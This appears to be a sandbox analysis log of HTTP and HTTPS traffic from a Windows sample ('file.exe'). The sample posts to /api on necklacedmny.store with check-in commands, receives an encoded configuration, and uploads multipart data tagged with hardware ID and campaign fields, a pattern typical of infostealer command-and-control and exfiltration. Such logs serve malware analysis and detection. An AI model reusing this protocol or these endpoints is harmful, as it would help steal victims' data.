Nov 1, 2024 11:00:00.305161953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 10:00:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:55:55 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 09:55:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 09:55:56 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:55:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=khn297qrm117eegaekl3ti52ta; expires=Tue, 25-Feb-2025 03:42:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FkXI8P2c9t4b01A0%2BKb%2BbYHWeNTwKbyXchpkvFRm%2FEFazMIuj5i2pjnIHccDoL15WImhac1ODejBoq42ZC7RcpAZmpzrzkGo2t%2Faf95JQr8yj%2FkraKvFM7JJNXBmh%2Fds0kOaKkY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb03125d82e7b7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1310&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2190620&cwnd=236&unsent_bytes=0&cid=53a8c9f9a9f8905f&ts=651&x=0"
2024-11-01 09:55:56 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 09:55:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:55:56 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 09:55:56 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 09:55:57 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:55:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tods41mo6hrakiua6nse5ehhun; expires=Tue, 25-Feb-2025 03:42:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AZE48JlyqQzACfjr29h66sPGAEt%2FQSR4BGtvTSJURlE0Z%2FVsrcs1BpmxUGKF5BIyrBTtm%2BgucBXsIEm%2BuzFFaqmoprylasyanf6nCnYu4U%2FzLPUpAYedkQXNUsBn3tUs8p3INIc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb0319599b2ca6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&sent=5&recv=6&lost=0&retrans=1&sent_bytes=4244&recv_bytes=954&delivery_rate=543067&cwnd=252&unsent_bytes=0&cid=a1e136c6eaa646a8&ts=465&x=0"
2024-11-01 09:55:57 UTC	353	IN	Data Raw: 34 65 30 0d 0a 55 72 61 58 52 2f 4a 50 44 62 4f 30 6f 45 32 42 6b 38 42 47 34 66 45 48 69 50 54 67 56 4a 6f 30 54 74 50 76 67 68 44 73 32 7a 6f 70 6c 4f 46 6c 79 48 73 68 6b 63 66 46 62 37 76 6e 73 6a 4f 45 33 53 58 70 6b 4d 4a 75 2f 46 55 69 6f 49 71 75 4d 70 71 32 47 47 6a 51 39 69 75 42 4b 69 47 52 30 64 68 76 75 38 69 37 5a 49 53 66 4a 62 4c 57 68 54 37 34 56 53 4b 78 6a 75 6c 2f 6e 4c 64 5a 4f 74 72 77 4c 35 63 73 61 64 4c 59 7a 53 6a 6b 39 71 45 73 6a 35 68 71 34 4a 6e 43 65 4c 68 52 4e 50 48 56 6f 46 32 4a 72 31 73 66 31 2b 51 73 30 44 49 68 79 4a 62 46 49 36 4f 70 34 69 65 45 6b 32 76 75 6b 49 73 38 38 6c 77 71 73 49 76 6f 59 49 57 39 55 6a 72 55 38 79 36 64 4a 58 33 66 30 73 6f 6a 34 76 79 68 5a 4d 33 54 59 76 4c 57 32 6e 61 72 5a 43 2b 67 6e 50 Data Ascii: 4e0UraXR/JPDbO0oE2Bk8BG4fEHiPTgVJo0TtPvghDs2zoplOFlyHshkcfFb7vnsjOE3SXpkMJu/FUioIquMpq2GGjQ9iuBKiGR0dhvu8i7ZISfJbLWhT74VSKxjul/nLdZOtrwL5csadLYzSjk9qEsj5hq4JnCeLhRNPHVoF2Jr1sf1+Qs0DIhyJbFI6Op4ieEk2vukIs88lwqsIvoYIW9UjrU8y6dJX3f0soj4vyhZM3TYvLW2narZC+gnP
2024-11-01 09:55:57 UTC	902	IN	Data Raw: 49 47 2f 44 33 73 6b 6b 35 75 4f 70 4c 59 36 65 5a 65 65 63 6a 54 58 34 55 53 61 37 67 75 70 32 67 37 52 65 4d 4e 53 31 61 39 41 71 64 35 47 4f 67 67 7a 6d 34 61 55 6f 6c 64 46 66 71 6f 6e 4d 4c 37 68 52 49 50 48 56 6f 48 71 4c 75 6c 73 37 32 2f 59 74 6d 7a 39 76 77 39 44 50 4b 76 48 33 70 79 71 4a 6b 48 66 67 6d 49 51 31 38 56 30 6c 74 49 72 6b 4d 73 44 35 58 79 69 55 72 57 57 78 49 47 54 64 33 4e 55 76 6f 2b 37 73 50 63 4f 55 61 61 72 4f 77 6a 4c 35 55 69 32 31 67 2b 35 32 67 72 39 57 50 64 76 7a 4c 35 41 71 5a 64 6e 65 77 79 4c 6f 2f 71 49 68 6a 70 64 6a 35 70 65 48 64 72 59 57 4b 36 6e 4e 75 44 4b 67 76 6c 73 69 6c 73 41 6d 6e 69 4e 6f 78 35 62 64 59 66 71 78 70 53 6a 44 79 79 58 6b 6b 34 30 6b 2b 55 51 70 76 35 2f 73 64 34 69 30 57 7a 37 55 38 43 4b Data Ascii: IG/D3skk5uOpLY6eZeecjTX4USa7gup2g7ReMNS1a9Aqd5GOggzm4aUoldFfqonML7hRIPHVoHqLuls72/Ytmz9vw9DPKvH3pyqJkHfgmIQ18V0ltIrkMsD5XyiUrWWxIGTd3NUvo+7sPcOUaarOwjL5Ui21g+52gr9WPdvzL5AqZdnewyLo/qIhjpdj5peHdrYWK6nNuDKgvlsilsAmniNox5bdYfqxpSjDyyXkk40k+UQpv5/sd4i0Wz7U8CK
2024-11-01 09:55:57 UTC	1369	IN	Data Raw: 33 66 38 63 0d 0a 33 38 73 39 36 66 32 73 4e 6f 36 5a 59 4f 53 61 68 7a 6e 34 56 79 32 2f 68 2b 73 79 77 50 6c 66 4b 4a 53 74 5a 62 38 67 66 38 50 63 79 54 36 68 78 4b 45 71 6a 5a 52 7a 71 6f 6e 4d 4c 37 68 52 49 50 48 56 6f 48 6d 49 74 56 51 77 30 75 63 72 6e 7a 39 6c 77 39 4c 4d 4b 2b 2f 2f 71 79 6d 4d 6c 6e 66 75 6c 70 41 33 2f 56 45 69 76 4a 2f 6c 4d 73 44 35 58 79 69 55 72 57 57 71 47 57 6a 42 78 38 56 74 31 76 4b 73 4b 6f 53 46 4a 66 58 59 6d 33 62 2f 57 6d 7a 70 7a 65 4e 2b 67 37 42 64 50 38 62 2f 4b 5a 45 2f 61 4e 6a 66 79 43 37 74 2f 71 6b 6f 68 6f 46 75 35 5a 36 4e 4e 2f 56 62 4a 37 57 4e 6f 44 7a 4f 76 6b 42 77 6a 4c 55 45 6e 53 4a 39 30 73 65 41 47 75 44 2f 72 43 4f 56 30 33 71 6b 6a 38 49 78 39 42 5a 30 38 59 7a 73 66 6f 2b 32 58 6a 72 63 39 Data Ascii: 3f8c38s96f2sNo6ZYOSahzn4Vy2/h+sywPlfKJStZb8gf8PcyT6hxKEqjZRzqonML7hRIPHVoHmItVQw0ucrnz9lw9LMK+//qymMlnfulpA3/VEivJ/lMsD5XyiUrWWqGWjBx8Vt1vKsKoSFJfXYm3b/WmzpzeN+g7BdP8b/KZE/aNjfyC7t/qkohoFu5Z6NN/VbJ7WNoDzOvkBwjLUEnSJ90seAGuD/rCOV03qkj8Ix9BZ08Yzsfo+2Xjrc9
2024-11-01 09:55:57 UTC	1369	IN	Data Raw: 72 30 64 76 4a 49 65 33 34 72 69 79 50 6c 48 66 6e 6b 34 6f 38 38 56 4d 67 76 49 37 79 63 59 2f 35 46 6e 44 54 37 57 58 49 62 55 6a 69 34 65 46 76 2f 4c 2b 37 5a 49 53 66 4a 62 4c 57 67 7a 37 2f 57 43 69 6a 67 2f 4a 38 69 62 6c 65 4f 4e 7a 79 4b 5a 34 6a 66 64 6e 58 77 69 48 73 2b 61 73 67 67 70 64 68 35 70 48 43 65 4c 68 52 4e 50 48 56 6f 46 71 4e 6f 30 4a 79 2b 76 34 6c 6c 7a 31 35 79 70 62 64 59 66 71 78 70 53 6a 44 79 79 58 75 6e 59 67 2f 2b 31 38 6f 76 49 33 70 66 59 65 78 56 54 6a 47 39 43 2b 43 4b 57 72 51 32 63 67 72 36 2f 32 74 4b 49 65 42 62 71 72 59 77 6a 48 67 46 6e 54 78 72 65 74 6b 72 61 74 4b 63 4d 75 37 50 4e 41 71 59 35 47 4f 67 69 62 76 38 4b 4d 75 68 5a 68 67 35 35 61 48 50 50 39 61 4c 4c 47 4f 35 6e 53 44 73 56 41 38 32 50 59 6f 6c 53 Data Ascii: r0dvJIe34riyPlHfnk4o88VMgvI7ycY/5FnDT7WXIbUji4eFv/L+7ZISfJbLWgz7/WCijg/J8ibleONzyKZ4jfdnXwiHs+asggpdh5pHCeLhRNPHVoFqNo0Jy+v4llz15ypbdYfqxpSjDyyXunYg/+18ovI3pfYexVTjG9C+CKWrQ2cgr6/2tKIeBbqrYwjHgFnTxretkratKcMu7PNAqY5GOgibv8KMuhZhg55aHPP9aLLGO5nSDsVA82PYolS
2024-11-01 09:55:57 UTC	1369	IN	Data Raw: 7a 43 37 6c 2f 61 39 6b 7a 64 4e 69 38 74 62 61 64 74 39 4d 49 62 65 61 38 55 65 4a 75 51 6c 77 79 37 73 38 30 43 70 6a 6b 59 36 43 49 75 2f 37 72 79 47 48 6d 32 4c 70 6c 34 34 79 39 56 73 6f 75 49 6e 6c 59 4a 79 2f 56 6a 44 62 2b 79 71 63 50 32 48 55 31 73 35 76 72 62 47 6c 50 4d 50 4c 4a 64 75 42 67 6e 62 6e 47 44 58 78 69 75 77 79 31 76 6c 58 50 63 62 35 4b 70 41 73 62 4e 58 64 78 53 6e 6c 38 4b 45 68 67 4a 5a 6a 36 35 61 4f 50 50 39 65 4a 72 2b 41 35 6e 61 49 76 78 68 2b 6c 50 49 39 30 48 55 76 34 39 76 4d 4a 75 44 33 72 7a 4b 72 6f 69 58 31 32 4a 74 32 2f 31 70 73 36 63 33 6b 65 59 61 31 58 54 6a 52 39 43 32 61 4a 57 44 65 78 4d 4d 67 36 76 61 70 4b 59 79 64 59 4f 53 45 68 54 33 7a 58 69 57 2f 69 36 41 38 7a 72 35 41 63 49 79 31 45 35 4d 6a 5a 4d 44 Data Ascii: zC7l/a9kzdNi8tbadt9MIbea8UeJuQlwy7s80CpjkY6CIu/7ryGHm2Lpl44y9VsouInlYJy/VjDb+yqcP2HU1s5vrbGlPMPLJduBgnbnGDXxiuwy1vlXPcb5KpAsbNXdxSnl8KEhgJZj65aOPP9eJr+A5naIvxh+lPI90HUv49vMJuD3rzKroiX12Jt2/1ps6c3keYa1XTjR9C2aJWDexMMg6vapKYydYOSEhT3zXiW/i6A8zr5AcIy1E5MjZMD
2024-11-01 09:55:57 UTC	1369	IN	Data Raw: 66 43 74 5a 4d 33 54 59 76 4c 57 32 6e 62 4a 51 43 75 32 67 71 4a 62 69 61 4a 5a 4f 74 66 2b 4b 64 41 79 49 63 69 57 78 53 4f 6a 71 65 49 70 6a 35 35 68 2b 4a 71 43 4e 76 46 52 4a 71 4f 43 37 33 2b 4e 75 56 30 69 31 65 63 71 6d 79 68 73 31 64 6e 4e 49 2b 76 37 34 6d 72 44 6c 48 32 71 7a 73 49 61 2b 30 63 6d 38 36 72 36 5a 49 6d 31 53 54 76 5a 2b 57 57 50 59 33 61 52 30 63 35 76 75 37 47 69 4a 59 36 42 59 4f 75 63 69 44 76 77 57 53 6d 30 67 75 52 32 68 62 64 4b 50 74 76 31 49 35 73 73 61 74 4c 64 79 43 48 71 34 2b 4a 71 77 35 52 39 71 73 37 43 48 4f 4e 58 49 62 33 50 7a 6e 6d 59 76 68 6f 52 32 76 34 69 6e 44 73 76 7a 70 6a 62 62 2b 54 39 34 6e 7a 44 6d 6d 76 6d 6c 59 55 2b 38 46 4d 73 75 6f 33 76 65 49 43 2b 53 6a 72 59 2f 7a 65 66 4c 6d 4c 56 32 38 67 71 Data Ascii: fCtZM3TYvLW2nbJQCu2gqJbiaJZOtf+KdAyIciWxSOjqeIpj55h+JqCNvFRJqOC73+NuV0i1ecqmyhs1dnNI+v74mrDlH2qzsIa+0cm86r6ZIm1STvZ+WWPY3aR0c5vu7GiJY6BYOuciDvwWSm0guR2hbdKPtv1I5ssatLdyCHq4+Jqw5R9qs7CHONXIb3PznmYvhoR2v4inDsvzpjbb+T94nzDmmvmlYU+8FMsuo3veIC+SjrY/zefLmLV28gq
2024-11-01 09:55:57 UTC	1369	IN	Data Raw: 6a 44 79 79 58 71 6b 6f 34 31 2f 31 67 6a 76 49 4c 6e 65 59 47 7a 56 69 4c 62 38 43 32 63 4a 57 4c 44 33 4d 67 39 36 76 69 76 4b 6f 75 42 5a 71 72 59 77 6a 48 67 46 6e 54 78 76 2b 70 78 67 71 39 56 50 35 54 71 61 34 6c 74 61 4e 32 57 6d 6d 2f 78 34 36 49 76 67 35 52 72 2b 4a 65 4b 4f 66 4a 57 4b 72 71 48 34 33 75 4b 74 31 45 32 31 66 67 6b 6b 53 31 71 30 64 2f 51 49 71 4f 2f 34 69 4f 62 30 7a 32 71 6f 59 34 39 79 56 55 36 38 5a 4b 75 61 38 36 2b 56 48 43 4d 74 53 53 43 49 47 66 56 31 73 38 70 36 50 43 6a 4a 34 4f 54 5a 75 71 54 69 54 6e 2b 55 53 47 37 68 4f 6c 67 68 72 31 4b 4d 4e 6a 78 5a 64 35 74 61 4d 6d 57 6d 6d 2f 54 38 71 6b 6f 67 35 35 77 71 6f 6e 4d 4c 37 68 52 49 50 48 56 6f 48 71 46 73 6c 34 37 31 2f 59 72 6d 79 64 67 33 74 7a 45 4b 65 76 30 6f Data Ascii: jDyyXqko41/1gjvILneYGzViLb8C2cJWLD3Mg96vivKouBZqrYwjHgFnTxv+pxgq9VP5Tqa4ltaN2Wmm/x46Ivg5Rr+JeKOfJWKrqH43uKt1E21fgkkS1q0d/QIqO/4iOb0z2qoY49yVU68ZKua86+VHCMtSSCIGfV1s8p6PCjJ4OTZuqTiTn+USG7hOlghr1KMNjxZd5taMmWmm/T8qkog55wqonML7hRIPHVoHqFsl471/Yrmydg3tzEKev0o
2024-11-01 09:55:57 UTC	1369	IN	Data Raw: 6e 36 35 75 53 4d 62 67 59 62 4c 66 4e 75 43 4c 41 2b 56 77 68 6c 4b 31 31 77 6e 59 36 67 6f 47 53 66 66 79 2f 75 32 53 56 30 7a 32 34 32 4d 49 6b 75 41 35 73 39 6f 37 79 59 49 69 36 54 6a 4f 54 79 78 75 77 4a 6d 50 53 32 73 4d 6f 6f 37 2f 69 4b 38 50 4c 58 4b 71 56 6b 43 53 33 52 7a 71 38 6e 65 63 2b 68 71 68 56 50 4a 53 37 5a 64 77 70 5a 4e 33 54 78 54 2b 73 34 37 49 76 6a 34 55 70 37 6f 54 43 65 4c 68 48 4a 37 36 66 37 6e 58 42 71 45 34 39 78 50 59 67 6c 32 46 6e 77 4e 76 4f 62 36 32 78 74 79 2b 50 6c 57 6a 2f 32 5a 4d 67 2b 30 41 72 2f 59 58 78 66 34 4c 35 5a 33 36 55 37 57 58 49 62 56 72 53 32 4d 77 6f 39 65 44 76 42 49 69 66 5a 75 61 58 68 58 61 32 46 69 72 78 31 62 4d 38 7a 72 31 4a 63 49 79 6c 64 38 74 34 50 49 61 47 6b 44 43 74 36 4f 49 79 77 38 Data Ascii: n65uSMbgYbLfNuCLA+VwhlK11wnY6goGSffy/u2SV0z242MIkuA5s9o7yYIi6TjOTyxuwJmPS2sMoo7/iK8PLXKqVkCS3Rzq8nec+hqhVPJS7ZdwpZN3TxT+s47Ivj4Up7oTCeLhHJ76f7nXBqE49xPYgl2FnwNvOb62xty+PlWj/2ZMg+0Ar/YXxf4L5Z36U7WXIbVrS2Mwo9eDvBIifZuaXhXa2Firx1bM8zr1JcIyld8t4PIaGkDCt6OIyw8
2024-11-01 09:55:57 UTC	1369	IN	Data Raw: 77 69 53 34 44 6d 7a 32 67 2b 31 7a 6a 62 64 62 49 73 62 7a 4a 6f 59 75 4b 4f 2f 6f 35 79 4c 75 39 4b 77 6a 76 61 31 45 34 49 61 50 4f 66 39 6f 45 6f 61 63 35 32 4c 4d 6e 31 73 6d 31 37 56 72 30 44 55 76 69 5a 62 6a 4a 66 50 38 72 53 50 44 33 53 58 75 31 74 70 32 33 56 73 68 74 49 50 6e 4d 4b 2b 7a 53 44 33 62 38 6d 58 65 62 57 4f 52 6a 6f 49 75 36 65 47 76 4b 34 54 66 59 76 43 52 77 6e 69 34 57 47 7a 70 7a 65 46 34 6e 72 52 58 4e 35 6a 7a 4b 35 35 74 63 4a 2f 50 67 6a 6d 6a 71 66 46 71 77 34 45 6c 73 74 62 46 4f 50 56 58 4c 37 2b 4f 38 6d 43 49 75 6b 34 7a 6b 38 73 62 74 53 42 69 31 4e 6a 46 45 64 33 51 71 44 53 4f 6e 47 4b 6f 74 6f 55 67 2b 32 67 53 68 70 7a 6e 59 73 79 66 57 79 62 58 74 57 76 51 4e 53 2b 4a 6c 75 4d 6c 38 2f 79 74 49 38 47 7a 59 76 79 Data Ascii: wiS4Dmz2g+1zjbdbIsbzJoYuKO/o5yLu9Kwjva1E4IaPOf9oEoac52LMn1sm17Vr0DUviZbjJfP8rSPD3SXu1tp23VshtIPnMK+zSD3b8mXebWORjoIu6eGvK4TfYvCRwni4WGzpzeF4nrRXN5jzK55tcJ/PgjmjqfFqw4ElstbFOPVXL7+O8mCIuk4zk8sbtSBi1NjFEd3QqDSOnGKotoUg+2gShpznYsyfWybXtWvQNS+JluMl8/ytI8GzYvy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:55:58 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-11-01 09:55:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:55:58 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-01 09:55:58 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bs03q4m0no7fuf6qfmf59ajm1n; expires=Tue, 25-Feb-2025 03:42:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=chYbtwBdvlkbouyKuAE2bPycUkaJi8f20KtY7OenE1MTOnDwrT0lTDj3bbEI6MYYbWJ1XItIGkgXaCUd1RwUUvEdzC4q9ly4E%2FVDMJM0LpOyWhz64MMm12hQUHpPq%2FoNWriSVVI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb032168736c61-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=939&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2994829&cwnd=232&unsent_bytes=0&cid=95ff8a0a88ff3324&ts=680&x=0"
2024-11-01 09:55:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:55:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:55:59 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-11-01 09:55:59 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:56:00 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=of4lej7k5lb9mcloaav20vm7v9; expires=Tue, 25-Feb-2025 03:42:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NhMc5o9AY6dP3xD5o6tF46E%2Fk%2FxGzvCoIehCuQGuNbSLdDykh6xU2QXBve8CXcmdMG12hubp1b4CxgUXAtQmu2L4MgxIbG8foGgEKqg93zGd7NmSR5CJvxD8QrmCh2qVqxLYREc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb0329f823460c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1034&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=2760724&cwnd=251&unsent_bytes=0&cid=2df3cc41b7118825&ts=733&x=0"
2024-11-01 09:56:00 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:56:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:56:01 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
